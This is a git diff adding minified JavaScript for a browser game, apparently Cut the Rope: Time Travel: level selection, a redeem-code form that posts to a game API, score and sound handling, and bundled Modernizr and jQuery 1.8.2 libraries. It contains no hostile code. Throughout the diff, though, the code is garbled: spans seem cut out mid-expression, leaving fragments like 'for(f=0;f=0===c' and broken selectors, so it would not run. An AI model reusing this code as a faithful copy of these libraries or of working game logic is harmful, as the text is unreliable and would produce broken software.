").addClass("stars"+
+k)),c.removeClass("locked purchase").addClass("open ctrPointer").empty().append(k)):c.removeClass("open").addClass("locked").toggleClass("purchase ctrPointer",g).empty()):c.hide();a=f.po(e.bb)+"/"+3*f.Tc(e.bb);s.ia({text:a,Rc:"#levelScore img",ua:!0});e.uw();f.Dj()}b=new c(b.Md,"levelPanel",q.Fz||"levelBackground",!0);var k=null;b.init=function(a){function b(a,c,k){$("
").attr("id","option"+(a+1)).data("level",a).addClass("option locked ctrPointer "+q).css({left:p+(k||0),top:s}).click(u).appendTo(g);
+p+=c;p>l&&(p=h,s+=c)}k=a;var c=f.Tc(e.bb),g=$("#levelOptions"),h=0;a=0;var l=d.e(420),m=d.e(153),q="",n=3,r=c%3;9
=c?(h=-80,a=10,n=4,l=d.e(500),m=d.e(153)):12 has already been redeemed.")}function d(){if(!e){var a=l.jh.length,f=p.val()||"",g=0h||1>g||g>a?b("Oops, that is not a valid code!"):(p.attr("disabled",!0),e=!0,c(),$.ajax({type:"POST",url:"http://ctrbk.cloudapp.net/api/CTRBKCodes",contentType:"application/json",
+data:'{"ctrbkcode":"'+h+'"}',dataType:"json",error:function(){k(!1)},success:function(){k(!0)}}))}}q=$("#codeMessage");p=$("#codeText");r=$("#codeOkButton");w=$("#codeBack").toggle(!m.lp());var e=!1,f=s.e(540),h=!1;p.keyup(function(a){13==a.which?d():b("")});r.click(function(){d()})});m.init=ha();m.cj=function(){q.text("");p.val("").focus();h.Dc(!1,0);h.oq()};m.Fp=function(){h.bp()};return m}(ya,Ha,ta,S,oa,da,hb,db,V,sa,J),sb=function(b,c,d,a,f,e,g,h,l,n){var s=new function(){function l(){function a(){if(I){var d=
+Date.now();A+=0.1*(d-k)/25*G;k=d;b.setTransform(1,0,0,1,0,0);b.clearRect(0,0,E.width,E.height);1>J&&(J+=0.025,J=Math.min(J,1),b.globalAlpha=J);b.save();b.translate(0.5*H.width,0.5*H.height);b.translate(e.e(-300),e.e(-510));b.rotate(A*Math.PI/180);b.translate(0.5*-H.width,0.5*-H.height);b.drawImage(H,0,0);b.restore();c(a)}}var b=E.getContext("2d"),c=window.requestAnimationFrame,k=Date.now();I=!0;a()}function q(){if(!T){if(null!=E){var a=E.getContext("2d");a.save();a.setTransform(1,0,0,1,0,0);a.clearRect(0,
+0,E.width,E.height);a.restore()}J=0;T=!0;$("#shadowPanel").show();I||l()}}var s=this,r=[];this.Jp=null;this.jb=function(){z=$("#fadeToBlack");E=document.getElementById("shadowCanvas");E.width=e.e(1024);E.height=e.e(576)};this.jd=function(a){H=new Image;H.src=g.$c+"shadow.png";if(a)for(var b=0,c=r.length;br+100&&(n=m=
+-1*e.Sf(p-(r+100),0,10,u-(r+100))):pv+100&&(n=m=10-e.Ik(p-(v+100),10,w-(v+100))):pr&&pv&&pv+100&&(p=q=-1*e.Sf(M-(v+100),0,a.e(10),B-(v+100))):MF+100&&(p=q=a.e(10)-e.Ik(M-(F+100),a.e(10),J-(F+100))):!(Mv&&MF&&M=f.qv()-1?(J.hide(),B.$A()):(N.np=!0,g.Za(b.Kt?e.wb:e.ad,!1))}function O(){if(f.bb!==f.qv()-1)return!1;var b=a.Tc(f.bb);return f.Tb!==b?!1:!0}function P(){$("#resultScore").text(ia[ea]);ea++;ea").appendTo(a));l.vc({text:b,img:d[0],ua:!0,alpha:0.6});a.stop(!0,!0).fadeIn(500).delay(c).fadeOut(750)}}function W(a,b){var c,d=m.bf,e=m.rg;a&&(d&&e?(d=!0,e=!1):e=d||e?d=!1:d=!0,m.Pl(d),m.Nl(e));c=d&&!e?"effectsOnly":d||e?"allSound":"noSound";$("#optionSound").removeClass("effectsOnly noSound allSound").addClass(c);$("#gameSound").removeClass("effectsOnly noSound allSound").addClass(c);e||d?(c=e?
+A.dx:A.cx,d=d?A.sx:A.rx,d=C.X(A.Hq).replace("{0}",C.X(c).toLowerCase()).replace("{1}",C.X(d).toLowerCase())):d=C.X(A.nr);X(b,d)}function Q(a,b){l.ia({text:C.X(b),Rc:a,ua:!0})}var N=this;this.Aw=c.xz;this.Qe=this.cl=this.np=this.Pi=this.Ah=!1;var ba=w.PE||30,Z=!1;k.subscribe(k.w.co,function(){Z=!0;S()});k.subscribe(k.w.eo,function(){Z=!1;S()});var ca=null,aa=null,da=this.HA=function(a,b,c){J.fadeIn(650,100);f.Tb=a;O()&&B.Vz();c?u.El():(g.Za(e.Qg,!b),setTimeout(function(){N.Nu()},200))};this.bw=function(){N.Pi&&
+(J.fadeOut(800,400),m.hj(D));G.Dt(function(){N.cl=!1;N.Pi?g.Za(e.wb,!1):(G.Dc(!0,0),g.Za(e.Md,!0))})};this.Nu=function(){var a=g.Dk==e.Md?400:0;$("#levelScore").fadeOut();$("#levelBack").fadeOut();$("#levelOptions").fadeOut(a,function(){N.cl?($("#levelResults").fadeOut(800),setTimeout(function(){u.Vv(f.bb+1,f.Tb);G.Np(!1,function(){N.Mv()})},400)):G.Ou(function(){N.cl=!0;u.Vv(f.bb+1,f.Tb);G.Np(!0,function(){N.Mv()})})})};this.Io=function(){N.oy();setTimeout(function(){N.Ah||$("#levelResults").delay(750).fadeIn(250);
+G.ny(function(){N.Ah?N.bw():(G.oq(),setTimeout(function(){P()},250))})},250)};this.Mv=function(){$("#levelBackground").hide();w.Lv&&b.Qy&&$("#bg").show();$("#gameBtnTray").fadeIn()};this.oy=function(){G.Dc(!1,1);R();$("#levelBackground").show();w.Lv&&b.Qy&&$("#bg").hide();$("#gameBtnTray").fadeOut()};var ga=[],ia=[],ea=0,ja=0;this.Gp=function(b){function c(a,b,d){function e(){var c=Date.now(),q=(c-m)/k;m=c;p+=Math.round(b*q);h-=a*q;0>=h?(h=0,p=f,s.fadeOut(400),r.fadeOut(400,d)):n(e);l.vc({text:g(h),
+img:r[0],ua:!0});l.Mt({text:p,Hb:"resultScore",ua:!0})}var f=p+b,h=a,k=Math.max(1E3,2E3-50*a),m=Date.now(),n=window.requestAnimationFrame;e()}function e(a,b){function c(){var e=Date.now(),h=Math.min(Math.round(a*(e-f)/1E3),d);f=e;d-=h;p+=h;0>=d?(d=0,p=a,s.fadeOut(400),r.fadeOut(400,b)):g(c);l.vc({text:d,img:r[0],ua:!0});l.Mt({text:p,Hb:"resultScore",ua:!0})}var d=a,f=Date.now(),g=window.requestAnimationFrame;c()}function g(a){var b=Math.floor(a/60);a=Math.round(a%60);return b+":"+(10>a?"0"+a:a)}var h=
+b.Lb,k=b.Ll,m=b.time,n,p=0,q=1E3*h;Math.round((k-1E3*h)/m);switch(h){case 3:$("#resultStar1").removeClass("starEmpty").addClass("star");$("#resultStar2").removeClass("starEmpty").addClass("star");$("#resultStar3").removeClass("starEmpty").addClass("star");n=C.X(A.Yw);break;case 2:$("#resultStar1").removeClass("starEmpty").addClass("star");$("#resultStar2").removeClass("starEmpty").addClass("star");$("#resultStar3").removeClass("star").addClass("starEmpty");n=C.X(A.Xw);break;case 1:$("#resultStar1").removeClass("starEmpty").addClass("star");
+$("#resultStar2").removeClass("star").addClass("starEmpty");$("#resultStar3").removeClass("star").addClass("starEmpty");n=C.X(A.Ww);break;default:$("#resultStar1").removeClass("star").addClass("starEmpty"),$("#resultStar2").removeClass("star").addClass("starEmpty"),$("#resultStar3").removeClass("star").addClass("starEmpty"),n=C.X(A.Vw)}l.ia({text:n,Rc:"#resultStatus img",ua:!0});var r=$("#resultTickerValue").hide(),s=$("#resultTickerLabel").hide(),u=$("#resultScore").empty().hide(),v=$("#resultImproved").hide(),
+x=$("#resultTickerMessage").hide();l.vc({text:C.X(A.ux),img:s[0],ua:!0});l.vc({text:q,img:r[0],ua:!0});$("#resultScore img").remove();setTimeout(function(){s.fadeIn(300);r.fadeIn(300);u.fadeIn(300,function(){e(q,function(){l.vc({text:C.X(A.Od),img:s[0],ua:!0});s.fadeIn(300);l.vc({text:g(Math.ceil(m)),img:r[0],ua:!0});r.fadeIn(300,function(){c(Math.ceil(m),k-p,function(){x.fadeIn(300);null!=z&&0z&&v.animate({scale:2.5,opacity:0},0,function(){v.css("display","block");v.animate({scale:1,opacity:1},
+600,"easeInCubic")})})})})})},1E3);n=f.bb;var w=f.Tb,z=a.Uk(n,w-1);a.kq(n,w-1,k);a.af(n,w-1,h);a.Tc(n)>w&&f.el()&&a.af(n,w,0);N.Ah=!1;N.Io();0===n&&1===w&&(K.xA&&K.xA(b.Xt),b.Xtc.e(1024)+120&&!fa&&($("#moreLink").fadeIn(function(){fa=!0}),$("#zenbox_tab").fadeIn())};this.Uo=!0;this.Rp=function(){g.Dk===
+e.Qg&&u.yz()&&!N.Qe?x():m.gj()};this.uv=function(){g.Dk!==e.Sj&&N.Uo&&m.cq()};this.init=function(){a.load();g.Jp=M};this.jb=function(){B.jb();h.jb();g.jb();J.jb();$(window).blur(N.Rp);$(window).focus(N.uv);$(window).resize(function(){N.ww()})};this.jd=function(){k.subscribe(k.w.Xm,this.Gp);G.jd();h.jd();g.jd(V);f.jd();k.ra(k.w.Pb);if(null!=w.cy&&null!=w.mg)this.Hu(w.cy-1,w.mg-1);else if(p.Nv){var a=g.Yf(e.Cf);a&&a.lp&&a.lp()?(G.Dc(!0,0),g.Za(e.Cf,!0)):g.Za(e.wb,!0)}var b=this;k.subscribe(k.w.hs,function(){b.Rp()});
+k.subscribe(k.w.or,function(){b.Uo=!0;b.uv()});k.subscribe(k.w.jr,function(){b.Uo=!1;b.Rp()})};this.Hu=function(a,b){g.Za(e.Qg,!0);f.bb=a;f.Tb=b+1;this.Nu()};this.IA=function(a){N.cl=!1;G.Dc(!0,0);g.Za(e.Md);J.EB(a)}};return v}(V,J,W,ua,Sa,ya,sb,sc,da,Wa,ra,oa,p,tc,ta,sa,bb,uc,S,ma,ga,xa,B,P,eb,function(b,c){var d=null;return{jb:function(){d=$("#gameBorder")},EB:function(a){a=(a=c.tt[a])?b.$c+a:"";d.removeClass("gameComplete").css("background-image","url("+a+")")},LB:function(){d.css("background-image",
+"").addClass("gameComplete")},hide:function(){d.hide()},show:function(){d.show()},fadeIn:function(a,b){d.delay(b||0).fadeIn(a)},fadeOut:function(a,b){d.delay(b||0).fadeOut(a)}}}(W,V),Qa,db,cb),wc=function(b,c,d,a,f,e,g,h,l,n){return{init:function(){b.init();e.aj(function(){d.init();h.ra(h.w.Iw)})},jb:function(){f.zy&&"undefined"!=typeof document.body.onselectstart&&(document.body.onselectstart=Ka(!1));$(".ctrCursor").on("mousedown mouseup",function(){$(this).toggleClass("ctrCursorActive")});$("body").addClass("ui-"+
+c.Gf);a.jb("c");a.element.width=c.vb;a.element.height=c.fb;c.YC||(c.mm?$(a.element).width(c.mm).height(c.XC):$(a.element).width(c.vb).height(c.fb));g.jb&&g.jb();b.jb();d.jb();h.ra(h.w.Hw)},fq:function(){b.fq(function(){d.jd();h.ra(h.w.Iq);$(".hideBeforeLoad").fadeIn(500);d.ww();$("#gameFooterSocial").css("top",0);if(!f.zo&&n.Au()){$("#lsDomain").text(location.protocol+"//"+location.host);$("#lsChromeInfoLink").show(0<=navigator.userAgent.indexOf("Chrome"));var a=$("#lsWarning").fadeIn(100);$("#lsOkButton").on("click",
+function(){a.fadeOut()})}})}}}(zb,J,vc,X,ra,Ca,Xa,S,Va,W),xc=function(b,c,d,a,f){b("forceHTML5Audio",c.Ty);window.showFpsCounter=function(){a.Yt=!0};b("initFB",d.rz);b("initTwitter",d.uz);b("onLevelWon",function(a){f.subscribe(f.w.Xm,function(){a()})});b("pauseGame",function(){f.ra(f.w.hs)});b("enable",function(){f.ra(f.w.or)});b("disable",function(){f.ra(f.w.jr)});return window.ZeptoLab}(function(){return function(b,c){var d=window.ZeptoLab;null==d&&(d=window.ZeptoLab={});var a=d.ctr;null==a&&(a=
+d.ctr={});a[b]=c}}(),sa,eb,ra,S);(function(b,c){c.Au()&&(b.init(),$(document).ready(function(){b.jb();b.fq()}))})(wc,W,xc)})();})();
\ No newline at end of file
diff --git a/games/cuttheropetimetravel/scripts/libraries.js b/games/cuttheropetimetravel/scripts/libraries.js
new file mode 100644
index 00000000..f8c89ab1
--- /dev/null
+++ b/games/cuttheropetimetravel/scripts/libraries.js
@@ -0,0 +1,152 @@
+๏ปฟ/* Modernizr 2.6.2 (Custom Build) | MIT & BSD
+ * Build: http://modernizr.com/download/#-fontface-opacity-rgba-csstransforms-canvas-canvastext-audio-video-localstorage-touch-mq-addtest-teststyles-testprop-prefixes-load
+ */
+;window.Modernizr=function(a,b,c){function z(a){i.cssText=a}function A(a,b){return z(l.join(a+";")+(b||""))}function B(a,b){return typeof a===b}function C(a,b){return!!~(""+a).indexOf(b)}function D(a,b){for(var d in a){var e=a[d];if(!C(e,"-")&&i[e]!==c)return b=="pfx"?e:!0}return!1}function E(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:B(f,"function")?f.bind(d||b):f}return!1}function F(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+n.join(d+" ")+d).split(" ");return B(b,"string")||B(b,"undefined")?D(e,b):(e=(a+" "+o.join(d+" ")+d).split(" "),E(e,b,c))}var d="2.6.2",e={},f=b.documentElement,g="modernizr",h=b.createElement(g),i=h.style,j,k={}.toString,l=" -webkit- -moz- -o- -ms- ".split(" "),m="Webkit Moz O ms",n=m.split(" "),o=m.toLowerCase().split(" "),p={},q={},r={},s=[],t=s.slice,u,v=function(a,c,d,e){var h,i,j,k,l=b.createElement("div"),m=b.body,n=m||b.createElement("body");if(parseInt(d,10))while(d--)j=b.createElement("div"),j.id=e?e[d]:g+(d+1),l.appendChild(j);return h=["",'"].join(""),l.id=g,(m?l:n).innerHTML+=h,n.appendChild(l),m||(n.style.background="",n.style.overflow="hidden",k=f.style.overflow,f.style.overflow="hidden",f.appendChild(n)),i=c(l,a),m?l.parentNode.removeChild(l):(n.parentNode.removeChild(n),f.style.overflow=k),!!i},w=function(b){var c=a.matchMedia||a.msMatchMedia;if(c)return c(b).matches;var d;return v("@media "+b+" { #"+g+" { position: absolute; } }",function(b){d=(a.getComputedStyle?getComputedStyle(b,null):b.currentStyle)["position"]=="absolute"}),d},x={}.hasOwnProperty,y;!B(x,"undefined")&&!B(x.call,"undefined")?y=function(a,b){return x.call(a,b)}:y=function(a,b){return b in a&&B(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=t.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(t.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(t.call(arguments)))};return e}),p.canvas=function(){var a=b.createElement("canvas");return!!a.getContext&&!!a.getContext("2d")},p.canvastext=function(){return!!e.canvas&&!!B(b.createElement("canvas").getContext("2d").fillText,"function")},p.touch=function(){var c;return"ontouchstart"in a||a.DocumentTouch&&b instanceof DocumentTouch?c=!0:v(["@media (",l.join("touch-enabled),("),g,")","{#modernizr{top:9px;position:absolute}}"].join(""),function(a){c=a.offsetTop===9}),c},p.rgba=function(){return z("background-color:rgba(150,255,150,.5)"),C(i.backgroundColor,"rgba")},p.opacity=function(){return A("opacity:.55"),/^0.55$/.test(i.opacity)},p.csstransforms=function(){return!!F("transform")},p.fontface=function(){var a;return v('@font-face {font-family:"font";src:url("https://")}',function(c,d){var e=b.getElementById("smodernizr"),f=e.sheet||e.styleSheet,g=f?f.cssRules&&f.cssRules[0]?f.cssRules[0].cssText:f.cssText||"":"";a=/src/i.test(g)&&g.indexOf(d.split(" ")[0])===0}),a},p.video=function(){var a=b.createElement("video"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('video/ogg; codecs="theora"').replace(/^no$/,""),c.h264=a.canPlayType('video/mp4; codecs="avc1.42E01E"').replace(/^no$/,""),c.webm=a.canPlayType('video/webm; codecs="vp8, vorbis"').replace(/^no$/,"")}catch(d){}return c},p.audio=function(){var a=b.createElement("audio"),c=!1;try{if(c=!!a.canPlayType)c=new Boolean(c),c.ogg=a.canPlayType('audio/ogg; codecs="vorbis"').replace(/^no$/,""),c.mp3=a.canPlayType("audio/mpeg;").replace(/^no$/,""),c.wav=a.canPlayType('audio/wav; codecs="1"').replace(/^no$/,""),c.m4a=(a.canPlayType("audio/x-m4a;")||a.canPlayType("audio/aac;")).replace(/^no$/,"")}catch(d){}return c},p.localstorage=function(){try{return localStorage.setItem(g,g),localStorage.removeItem(g),!0}catch(a){return!1}};for(var G in p)y(p,G)&&(u=G.toLowerCase(),e[u]=p[G](),s.push((e[u]?"":"no-")+u));return e.addTest=function(a,b){if(typeof a=="object")for(var d in a)y(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof enableClasses!="undefined"&&enableClasses&&(f.className+=" "+(b?"":"no-")+a),e[a]=b}return e},z(""),h=j=null,e._version=d,e._prefixes=l,e._domPrefixes=o,e._cssomPrefixes=n,e.mq=w,e.testProp=function(a){return D([a])},e.testAllProps=F,e.testStyles=v,e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f=0===c})}function bk(a){var b=bl.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function bC(a,b){return a.getElementsByTagName(b)[0]||a.appendChild(a.ownerDocument.createElement(b))}function bD(a,b){if(b.nodeType!==1||!p.hasData(a))return;var c,d,e,f=p._data(a),g=p._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;d").appendTo(e.body),c=b.css("display");b.remove();if(c==="none"||c===""){bI=e.body.appendChild(bI||p.extend(e.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!bJ||!bI.createElement)bJ=(bI.contentWindow||bI.contentDocument).document,bJ.write(""),bJ.close();b=bJ.body.appendChild(bJ.createElement(a)),c=bH(b,"display"),e.body.removeChild(bI)}return bS[a]=c,c}function ci(a,b,c,d){var e;if(p.isArray(b))p.each(b,function(b,e){c||ce.test(a)?d(a,e):ci(a+"["+(typeof e=="object"?b:"")+"]",e,c,d)});else if(!c&&p.type(b)==="object")for(e in b)ci(a+"["+e+"]",b[e],c,d);else d(a,b)}function cz(a){return function(b,c){typeof b!="string"&&(c=b,b="*");var d,e,f,g=b.toLowerCase().split(s),h=0,i=g.length;if(p.isFunction(c))for(;h)[^>]*$|#([\w\-]*)$)/,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,y=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,z=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,A=/^-ms-/,B=/-([\da-z])/gi,C=function(a,b){return(b+"").toUpperCase()},D=function(){e.addEventListener?(e.removeEventListener("DOMContentLoaded",D,!1),p.ready()):e.readyState==="complete"&&(e.detachEvent("onreadystatechange",D),p.ready())},E={};p.fn=p.prototype={constructor:p,init:function(a,c,d){var f,g,h,i;if(!a)return this;if(a.nodeType)return this.context=this[0]=a,this.length=1,this;if(typeof a=="string"){a.charAt(0)==="<"&&a.charAt(a.length-1)===">"&&a.length>=3?f=[null,a,null]:f=u.exec(a);if(f&&(f[1]||!c)){if(f[1])return c=c instanceof p?c[0]:c,i=c&&c.nodeType?c.ownerDocument||c:e,a=p.parseHTML(f[1],i,!0),v.test(f[1])&&p.isPlainObject(c)&&this.attr.call(a,c,!0),p.merge(this,a);g=e.getElementById(f[2]);if(g&&g.parentNode){if(g.id!==f[2])return d.find(a);this.length=1,this[0]=g}return this.context=e,this.selector=a,this}return!c||c.jquery?(c||d).find(a):this.constructor(c).find(a)}return p.isFunction(a)?d.ready(a):(a.selector!==b&&(this.selector=a.selector,this.context=a.context),p.makeArray(a,this))},selector:"",jquery:"1.8.2",length:0,size:function(){return this.length},toArray:function(){return k.call(this)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=p.merge(this.constructor(),a);return d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")"),d},each:function(a,b){return p.each(this,a,b)},ready:function(a){return p.ready.promise().done(a),this},eq:function(a){return a=+a,a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(k.apply(this,arguments),"slice",k.call(arguments).join(","))},map:function(a){return this.pushStack(p.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:j,sort:[].sort,splice:[].splice},p.fn.init.prototype=p.fn,p.extend=p.fn.extend=function(){var a,c,d,e,f,g,h=arguments[0]||{},i=1,j=arguments.length,k=!1;typeof h=="boolean"&&(k=h,h=arguments[1]||{},i=2),typeof h!="object"&&!p.isFunction(h)&&(h={}),j===i&&(h=this,--i);for(;i0)return;d.resolveWith(e,[p]),p.fn.trigger&&p(e).trigger("ready").off("ready")},isFunction:function(a){return p.type(a)==="function"},isArray:Array.isArray||function(a){return p.type(a)==="array"},isWindow:function(a){return a!=null&&a==a.window},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):E[m.call(a)]||"object"},isPlainObject:function(a){if(!a||p.type(a)!=="object"||a.nodeType||p.isWindow(a))return!1;try{if(a.constructor&&!n.call(a,"constructor")&&!n.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||n.call(a,d)},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},error:function(a){throw new Error(a)},parseHTML:function(a,b,c){var d;return!a||typeof a!="string"?null:(typeof b=="boolean"&&(c=b,b=0),b=b||e,(d=v.exec(a))?[b.createElement(d[1])]:(d=p.buildFragment([a],b,c?null:[]),p.merge([],(d.cacheable?p.clone(d.fragment):d.fragment).childNodes)))},parseJSON:function(b){if(!b||typeof b!="string")return null;b=p.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(w.test(b.replace(y,"@").replace(z,"]").replace(x,"")))return(new Function("return "+b))();p.error("Invalid JSON: "+b)},parseXML:function(c){var d,e;if(!c||typeof c!="string")return null;try{a.DOMParser?(e=new DOMParser,d=e.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(f){d=b}return(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&p.error("Invalid XML: "+c),d},noop:function(){},globalEval:function(b){b&&r.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(A,"ms-").replace(B,C)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,c,d){var e,f=0,g=a.length,h=g===b||p.isFunction(a);if(d){if(h){for(e in a)if(c.apply(a[e],d)===!1)break}else for(;f0&&a[0]&&a[i-1]||i===0||p.isArray(a));if(j)for(;h-1)i.splice(c,1),e&&(c<=g&&g--,c<=h&&h--)}),this},has:function(a){return p.inArray(a,i)>-1},empty:function(){return i=[],this},disable:function(){return i=j=c=b,this},disabled:function(){return!i},lock:function(){return j=b,c||l.disable(),this},locked:function(){return!j},fireWith:function(a,b){return b=b||[],b=[a,b.slice?b.slice():b],i&&(!d||j)&&(e?j.push(b):k(b)),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!d}};return l},p.extend({Deferred:function(a){var b=[["resolve","done",p.Callbacks("once memory"),"resolved"],["reject","fail",p.Callbacks("once memory"),"rejected"],["notify","progress",p.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return p.Deferred(function(c){p.each(b,function(b,d){var f=d[0],g=a[b];e[d[1]](p.isFunction(g)?function(){var a=g.apply(this,arguments);a&&p.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f+"With"](this===e?c:this,[a])}:c[f])}),a=null}).promise()},promise:function(a){return a!=null?p.extend(a,d):d}},e={};return d.pipe=d.then,p.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[a^1][2].disable,b[2][2].lock),e[f[0]]=g.fire,e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=k.call(arguments),d=c.length,e=d!==1||a&&p.isFunction(a.promise)?d:0,f=e===1?a:p.Deferred(),g=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?k.call(arguments):d,c===h?f.notifyWith(b,c):--e||f.resolveWith(b,c)}},h,i,j;if(d>1){h=new Array(d),i=new Array(d),j=new Array(d);for(;ba ",c=n.getElementsByTagName("*"),d=n.getElementsByTagName("a")[0],d.style.cssText="top:1px;float:left;opacity:.5";if(!c||!c.length)return{};f=e.createElement("select"),g=f.appendChild(e.createElement("option")),h=n.getElementsByTagName("input")[0],b={leadingWhitespace:n.firstChild.nodeType===3,tbody:!n.getElementsByTagName("tbody").length,htmlSerialize:!!n.getElementsByTagName("link").length,style:/top/.test(d.getAttribute("style")),hrefNormalized:d.getAttribute("href")==="/a",opacity:/^0.5/.test(d.style.opacity),cssFloat:!!d.style.cssFloat,checkOn:h.value==="on",optSelected:g.selected,getSetAttribute:n.className!=="t",enctype:!!e.createElement("form").enctype,html5Clone:e.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",boxModel:e.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},h.checked=!0,b.noCloneChecked=h.cloneNode(!0).checked,f.disabled=!0,b.optDisabled=!g.disabled;try{delete n.test}catch(o){b.deleteExpando=!1}!n.addEventListener&&n.attachEvent&&n.fireEvent&&(n.attachEvent("onclick",m=function(){b.noCloneEvent=!1}),n.cloneNode(!0).fireEvent("onclick"),n.detachEvent("onclick",m)),h=e.createElement("input"),h.value="t",h.setAttribute("type","radio"),b.radioValue=h.value==="t",h.setAttribute("checked","checked"),h.setAttribute("name","t"),n.appendChild(h),i=e.createDocumentFragment(),i.appendChild(n.lastChild),b.checkClone=i.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=h.checked,i.removeChild(h),i.appendChild(n);if(n.attachEvent)for(k in{submit:!0,change:!0,focusin:!0})j="on"+k,l=j in n,l||(n.setAttribute(j,"return;"),l=typeof n[j]=="function"),b[k+"Bubbles"]=l;return p(function(){var c,d,f,g,h="padding:0;margin:0;border:0;display:block;overflow:hidden;",i=e.getElementsByTagName("body")[0];if(!i)return;c=e.createElement("div"),c.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",i.insertBefore(c,i.firstChild),d=e.createElement("div"),c.appendChild(d),d.innerHTML="",f=d.getElementsByTagName("td"),f[0].style.cssText="padding:0;margin:0;border:0;display:none",l=f[0].offsetHeight===0,f[0].style.display="",f[1].style.display="none",b.reliableHiddenOffsets=l&&f[0].offsetHeight===0,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",b.boxSizing=d.offsetWidth===4,b.doesNotIncludeMarginInBodyOffset=i.offsetTop!==1,a.getComputedStyle&&(b.pixelPosition=(a.getComputedStyle(d,null)||{}).top!=="1%",b.boxSizingReliable=(a.getComputedStyle(d,null)||{width:"4px"}).width==="4px",g=e.createElement("div"),g.style.cssText=d.style.cssText=h,g.style.marginRight=g.style.width="0",d.style.width="1px",d.appendChild(g),b.reliableMarginRight=!parseFloat((a.getComputedStyle(g,null)||{}).marginRight)),typeof 